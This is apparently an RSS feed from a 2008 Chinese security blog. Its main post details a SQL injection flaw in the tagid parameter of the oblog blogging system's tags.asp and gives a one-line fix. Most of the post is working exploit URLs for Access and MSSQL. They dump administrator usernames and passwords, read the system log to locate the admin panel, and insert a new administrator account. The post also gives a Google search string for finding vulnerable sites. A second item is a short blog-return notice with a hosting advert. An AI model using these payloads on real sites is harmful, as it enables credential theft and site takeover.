#版权所有:http://www.nspcn.org&nbsp;&amp;&nbsp;[BK瞬间群]&nbsp;&amp;&nbsp;Whytt<br />
#漏洞文件tags.asp<br />
#影响版本:<br />
&nbsp;&nbsp;3.13-20060429&nbsp;[access&nbsp;&amp;&nbsp;mssql]<br />
&nbsp;&nbsp;4.02-20070112&nbsp;[access&nbsp;&amp;&nbsp;mssql]<br />
&nbsp;&nbsp;4.50&nbsp;Final&nbsp;Build0619&nbsp;[access&nbsp;&amp;&nbsp;mssql]<br />
&nbsp;&nbsp;4.60&nbsp;Final&nbsp;Build0921&nbsp;[access&nbsp;&amp;&nbsp;mssql]<br />
&nbsp;&nbsp;4.60&nbsp;Final&nbsp;Build1107&nbsp;[access&nbsp;&amp;&nbsp;mssql]<br />
#漏洞原因:变量tagid未经过滤传值，带入sql执行，导致注入产生。<br />
#修补方法:检查用户提交的tagid，只允许是数字。<br />
&nbsp;&nbsp;例如：<br />
&nbsp;&nbsp;&nbsp;&nbsp;将iTagId&nbsp;=&nbsp;Trim(Request.Querystring(&quot;tagid&quot;))改成iTagId&nbsp;=&nbsp;Clng(Trim(Request.Querystring(&quot;tagid&quot;)))</p>
<p><br />
[+++]<br />
这个地方的注射是去年whytt在读OBLOG 4.5的时候发现的，当时没仔细看，只是听他说适用于mssql版，今天在搞一个站的时侯遇见了Oblog 4.60 Final Build1107 (Access)，百般无奈又去看了看那个放了N久的&quot;mssql注入点&quot;，这一看不要紧，扩展成了access和mssql通杀。<br />
[+++]<br />
再来啰嗦一下代码的问题tags.asp行15-36</p>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">ASP/Visual Basic代码</div>
<ol class="dp-vb">
    <li class="alt"><span><span>sType&nbsp;=&nbsp;LCase(Trim(Request.Querystring(</span><span class="string">&quot;t&quot;</span><span>))) &nbsp;&nbsp;</span></span></li>
    <li class=""><span>iTagId&nbsp;=&nbsp;Trim(Request.Querystring(</span><span class="string">&quot;tagid&quot;</span><span>))&nbsp;</span><span class="comment">'这个地方没过滤，在36行处传值给函数GetUsersByTag </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>iUserId&nbsp;=&nbsp;Trim(Request.Querystring(</span><span class="string">&quot;userid&quot;</span><span>)) &nbsp;&nbsp;</span></li>
    <li class=""><span>sKeyword=&nbsp;Trim(Request(</span><span class="string">&quot;keyword&quot;</span><span>)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>sAll=Trim(Request.Querystring) &nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">If</span><span>&nbsp;sAll&nbsp;&amp;&nbsp;sKeyword=</span><span class="string">&quot;&quot;</span><span>&nbsp;</span><span class="keyword">Then</span><span>&nbsp;sType=</span><span class="string">&quot;hottags&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">Call</span><span>&nbsp;link_database() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>select&nbsp;</span><span class="keyword">Case</span><span>&nbsp;sType &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;hottags&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sTitle=</span><span class="string">&quot;最热门的100个&quot;</span><span>&nbsp;&amp;&nbsp;P_TAGS_DESC &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sContent=Tags_Hottags() &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;cloud&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sTitle=P_TAGS_DESC&nbsp;&amp;&nbsp;</span><span class="string">&quot;云图&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sContent=Tags_SystemTags(1) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;list&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sTitle=P_TAGS_DESC&nbsp;&amp;&nbsp;</span><span class="string">&quot;列表&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sContent=Tags_SystemTags(0) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;user&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sTitle=P_TAGS_DESC&nbsp;&amp;&nbsp;</span><span class="string">&quot;用户&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sContent=GetUsersByTag(iTagId)&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>函数GetUsersByTag的原型在文件Inc_Tags.asp行320-338</p>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">ASP/Visual Basic代码</div>
<ol class="dp-vb">
    <li class="alt"><span><span class="keyword">Function</span><span>&nbsp;GetUsersByTag(byval&nbsp;sTagId) &nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">Dim</span><span>&nbsp;rst,sSql,sContent &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;rst&nbsp;=&nbsp;Server.CreateObject(</span><span class="string">&quot;Adodb.Recordset&quot;</span><span>) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;sSql&nbsp;=&nbsp;</span><span class="string">&quot;select&nbsp;Top&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;From&nbsp;(select&nbsp;Userid&nbsp;From&nbsp;oblog_usertags&nbsp;Where&nbsp;Tagid=&quot;</span><span>&nbsp;&amp;&nbsp;sTagId&nbsp;&amp;&nbsp;</span><span class="string">&quot;&nbsp;Group&nbsp;By&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;Where&nbsp;a.Userid=b.UserId&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;rst.Open&nbsp;sSql,conn,1,1 &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;rst.Eof&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sContent=</span><span class="string">&quot;没有符合条件的用户&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;rst.Close &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;rst&nbsp;=&nbsp;</span><span class="keyword">Nothing</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;i=0 &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">Do</span><span>&nbsp;</span><span class="keyword">While</span><span>&nbsp;</span><span class="keyword">Not</span><span>&nbsp;rst.Eof &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sContent=sContent&nbsp;&amp;&nbsp;</span><span class="string">&quot;&lt;a&nbsp;href=&quot;</span><span>&amp;&nbsp;blogurl&amp;&nbsp;rst(</span><span class="string">&quot;user_dir&quot;</span><span>)&nbsp;&amp;&nbsp;</span><span class="string">&quot;/&quot;</span><span>&nbsp;&amp;&nbsp;rst(</span><span class="string">&quot;user_folder&quot;</span><span>)</span><span class="string">&quot;/index.&quot;</span><span>&nbsp;&amp;f_ext</span><span class="string">&quot;&nbsp;target=_blank&gt;&quot;</span><span>&nbsp;&amp;&nbsp;rst(</span><span class="string">&quot;userName&quot;</span><span>)&nbsp;&amp;&nbsp;</span><span class="string">&quot;&lt;/a&gt;&lt;br/&gt;&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;rst.movenext &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">Loop</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;rst.Close &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;rst&nbsp;=&nbsp;</span><span class="keyword">Nothing</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;GetUsersByTag=sContent &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">Function</span><span>&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>之所以当初whytt说只适用于mssql，是当时没想起来如何无错闭合，仔细想想原来这么简单.</p>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">SQL代码</div>
<ol class="dp-sql">
    <li class="alt"><span><span class="keyword">select</span><span>&nbsp;</span><span class="keyword">Top</span><span>&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;</span><span class="keyword">From</span><span>&nbsp;(</span><span class="keyword">select</span><span>&nbsp;Userid&nbsp;</span><span class="keyword">From</span><span>&nbsp;oblog_usertags&nbsp;</span><span class="keyword">Where</span><span>&nbsp;Tagid=1&nbsp;</span><span class="keyword">Group</span><span>&nbsp;</span><span class="keyword">By</span><span>&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;</span><span class="keyword">Where</span><span>&nbsp;a.Userid=b.UserId&nbsp;</span><span class="keyword">union</span><span>&nbsp;</span><span class="keyword">select</span><span>&nbsp;</span><span class="keyword">Top</span><span>&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;</span><span class="keyword">From</span><span>&nbsp;(</span><span class="keyword">select</span><span>&nbsp;Userid&nbsp;</span><span class="keyword">From</span><span>&nbsp;oblog_usertags&nbsp;</span><span class="keyword">Where</span><span>&nbsp;Tagid=1&nbsp;</span><span class="keyword">Group</span><span>&nbsp;</span><span class="keyword">By</span><span>&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;</span><span class="keyword">Where</span><span>&nbsp;a.Userid=b.UserId&nbsp;&nbsp;</span></span></li>
</ol>
</div>
<p>union前后是一个语句当然不会出错了，但是</p>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">SQL代码</div>
<ol class="dp-sql">
    <li class="alt"><span><span class="keyword">select</span><span>&nbsp;</span><span class="keyword">Top</span><span>&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;</span><span class="keyword">From</span><span>&nbsp;(</span><span class="keyword">select</span><span>&nbsp;Userid&nbsp;</span><span class="keyword">From</span><span>&nbsp;oblog_usertags&nbsp;</span><span class="keyword">Where</span><span>&nbsp;Tagid=1&nbsp;</span><span class="keyword">Group</span><span>&nbsp;</span><span class="keyword">By</span><span>&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;</span><span class="keyword">Where</span><span>&nbsp;a.Userid=b.UserId&nbsp;</span><span class="op">and</span><span>&nbsp;1=2&nbsp;</span><span class="keyword">union</span><span>&nbsp;</span><span class="keyword">select</span><span>&nbsp;</span><span class="keyword">Top</span><span>&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;</span><span class="keyword">From</span><span>&nbsp;(</span><span class="keyword">select</span><span>&nbsp;Userid&nbsp;</span><span class="keyword">From</span><span>&nbsp;oblog_usertags&nbsp;</span><span class="keyword">Where</span><span>&nbsp;Tagid=1&nbsp;</span><span class="keyword">Group</span><span>&nbsp;</span><span class="keyword">By</span><span>&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;</span><span class="keyword">Where</span><span>&nbsp;a.Userid=b.UserId&nbsp;</span><span class="op">and</span><span>&nbsp;1=2&nbsp;'为了返回</span><span class="keyword">union</span><span>后面的语句信息，</span><span class="keyword">union</span><span>前面的限定条件加一个</span><span class="op">and</span><span>&nbsp;&nbsp;1=2&nbsp;[逻辑假]&nbsp;&nbsp;</span></span></li>
</ol>
</div>
<p>这样就报错了，利用起来也是很简单的，打开http://www.target.com/oblog/tags.asp，点开一个有返回内容的连接(注意是有返回内容，而不是标题,当然不怕麻烦也可以自己注册发表文章和标签)，看tagid，如图1<br />
<a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=1')" src="http://www.tsbct.com/attachments/date_200804/thumb_c20c40db669d5956d6aa135c5cc9f4d3.jpg" width="500" height="259" border="0" alt="大小: 73.05 K 尺寸: 500 x 259 浏览: 5 次点击打开新窗口浏览全图" /></a></p>
<p>这里我们看到的是1。组合下url就是</p>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">URL</div>
<ol class="dp-xml">
    <li class="alt"><span><span>http://www.target.com/oblog/tags.asp?</span><span class="attribute">t</span><span>=</span><span class="attribute-value">user</span><span class="attribute">keyword</span><span>=</span><span class="attribute-value">trace</span><span class="attribute">tagid</span><span>=</span><span class="attribute-value">1</span><span>&nbsp;Group&nbsp;By&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;Where&nbsp;</span><span class="attribute">a.Userid</span><span>=</span><span class="attribute-value">b</span><span>.UserId&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;union&nbsp;select&nbsp;Top&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;From&nbsp;(select&nbsp;Userid&nbsp;From&nbsp;oblog_usertags&nbsp;Where&nbsp;</span><span class="attribute">Tagid</span><span>=</span><span class="attribute-value">1</span><span>&nbsp;&nbsp;</span></span></li>
</ol>
</div>
<p class="code">放在nbsi里手动加入表oblog_admin，开始你的注射...</p>
<p class="code">如果你比较懒，就用union查询吧</p>
<p class="code">&nbsp;</p>
<div class="codeText">
<div class="codeHead">URL</div>
<ol class="dp-xml">
    <li class="alt"><span><span>Access: &nbsp;&nbsp;</span></span></li>
    <li class=""><span>http://www.target.com/oblog/tags.asp?</span><span class="attribute">t</span><span>=</span><span class="attribute-value">user</span><span class="attribute">keyword</span><span>=</span><span class="attribute-value">trace</span><span class="attribute">tagid</span><span>=</span><span class="attribute-value">1</span><span>&nbsp;Group&nbsp;By&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;Where&nbsp;</span><span class="attribute">a.Userid</span><span>=</span><span class="attribute-value">b</span><span>.UserId&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;union&nbsp;select&nbsp;username%2bchr(124)%2bpassword,2,3&nbsp;From&nbsp;Oblog_admin&nbsp;union&nbsp;select&nbsp;Top&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;From&nbsp;(select&nbsp;Userid&nbsp;From&nbsp;oblog_usertags&nbsp;Where&nbsp;</span><span class="attribute">Tagid</span><span>=</span><span class="attribute-value">1</span><span>&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>MSSQL: &nbsp;&nbsp;</span></li>
    <li class=""><span>http://www.target.com/oblog/tags.asp?</span><span class="attribute">t</span><span>=</span><span class="attribute-value">user</span><span class="attribute">keyword</span><span>=</span><span class="attribute-value">trace</span><span class="attribute">tagid</span><span>=</span><span class="attribute-value">1</span><span>&nbsp;Group&nbsp;By&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;Where&nbsp;</span><span class="attribute">a.Userid</span><span>=</span><span class="attribute-value">b</span><span>.UserId&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;union&nbsp;select&nbsp;username%2bchar(124)%2bpassword,2,3&nbsp;From&nbsp;Oblog_admin&nbsp;union&nbsp;select&nbsp;Top&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;From&nbsp;(select&nbsp;Userid&nbsp;From&nbsp;oblog_usertags&nbsp;Where&nbsp;</span><span class="attribute">Tagid</span><span>=</span><span class="attribute-value">1</span><span>&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;&nbsp;</span></li>
</ol>
</div>
<p class="code">如图2</p>
<p class="code"><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=2')" src="http://www.tsbct.com/attachments/date_200804/thumb_91f3fa1e3d82c4813feedb3b9c0c181d.jpg" width="500" height="282" border="0" alt="大小: 70.54 K 尺寸: 500 x 282 浏览: 2 次点击打开新窗口浏览全图" /></a></p>
<p class="code">&nbsp;</p>
<div class="codeText">
<div class="codeHead">URL</div>
<ol class="dp-xml">
    <li class="alt"><span><span>暴管理员账号密码&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></span></li>
    <li class=""><span>http://www.xxx.com/oblog/tags.asp?</span><span class="attribute">t</span><span>=</span><span class="attribute-value">userkeyword</span><span>=</span><span class="attribute">tracetagid</span><span>=</span><span class="attribute-value">1</span><span>%20Group%20By%20UserId)%20a,oblog_user%20b%20Where%</span><span class="attribute">20a.Userid</span><span>=</span><span class="attribute-value">b</span><span>.UserId%20and%</span><span class="attribute-value">2</span><span class="attribute">2201</span><span>=2%20union%20select%20username%2bchar(124)%2bpassword,2,3%20From%20Oblog_admin%20union%20select%20Top%20100%20b.userName,b.user_dir,b.user_folder%20From%20(select%20Userid%20From%20oblog_usertags%20Where%</span><span class="attribute-value">2</span><span class="attribute">220Tagid</span><span>=2%20and%</span><span class="attribute-value">2</span><span class="attribute">2201</span><span>=2&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>暴后台&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>http://www.xxx.com/oblog/tags.asp?</span><span class="attribute">t</span><span>=</span><span class="attribute-value">userkeyword</span><span>=</span><span class="attribute">tracetagid</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;Group&nbsp;By&nbsp;UserId)&nbsp;a,oblog_user&nbsp;b&nbsp;Where&nbsp;</span><span class="attribute">a.Userid</span><span>=</span><span class="attribute-value">b</span><span>.UserId&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;union&nbsp;all&nbsp;select&nbsp;querystrings,2,3&nbsp;From&nbsp;Oblog_sysLog;select&nbsp;Top&nbsp;100&nbsp;b.userName,b.user_dir,b.user_folder&nbsp;From&nbsp;(select&nbsp;Userid&nbsp;From&nbsp;oblog_usertags&nbsp;Where&nbsp;</span><span class="attribute">Tagid</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;and&nbsp;</span><span class="attribute">1</span><span>=</span><span class="attribute-value">2</span><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>加管理员后台&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>http://www.xxx.com/oblog/Tags.asp?</span><span class="attribute">t</span><span>=</span><span class="attribute-value">userkeyword</span><span>=</span><span class="attribute">ttagid</span><span>=</span><span class="attribute-value">2</span><span>%20Group%20By%20UserId)%20a,oblog_user%20b%20Where%</span><span class="attribute">20a.Userid</span><span>=</span><span class="attribute-value">b</span><span>.UserId;insert&nbsp;into&nbsp;Oblog_admin(username,password)&nbsp;values('xx','49ba59abbe56e057');update&nbsp;[oblog_admin]&nbsp;set&nbsp;</span><span class="attribute">roleid</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">0</span><span>&nbsp;where&nbsp;</span><span class="attribute">username</span><span>=</span><span class="attribute-value">'xx'</span><span>--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></li>
</ol>
</div>
<p class="code">附利用动画<br />
<a href="http://www.tr4c3.com/upload/oblog.rar">http://www.tr4c3.com/upload/oblog.rar</a><br />
<br />
intext:&quot;Copyright by oblog.cn&quot;#google.cn</p>
<p>看版本<a href="http://www.target.com/oblog/ver.asp">http://www.target.com/oblog/ver.asp</a></p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=2</link>
			<category domain="http://www.tsbct.com/?cid=2">技术文档</category>
			<pubDate>2008-04-28 08:46</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=1</guid>
			<title>博客又回来啦....</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>首先感谢兄弟小狼赞助俺空间...</p>
<p>希望这次博客继续延续下去....</p>
<p>各位兄弟做连接的QQ找我哈...</p>
<p>XoL-!'s Security Blog</p>
<p><a href="http://www.tsbct.com/">http://www.tsbct.com/</a></p>
<p>另外广告下</p>
<p>域名注册,虚拟机主,服务器出租</p>
<p>需要以上服务可联系我QQ:274417</p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=1</link>
			<category domain="http://www.tsbct.com/?cid=1">生活随笔</category>
			<pubDate>2008-04-28 08:43</pubDate>
		</item>
	</channel>
</rss>
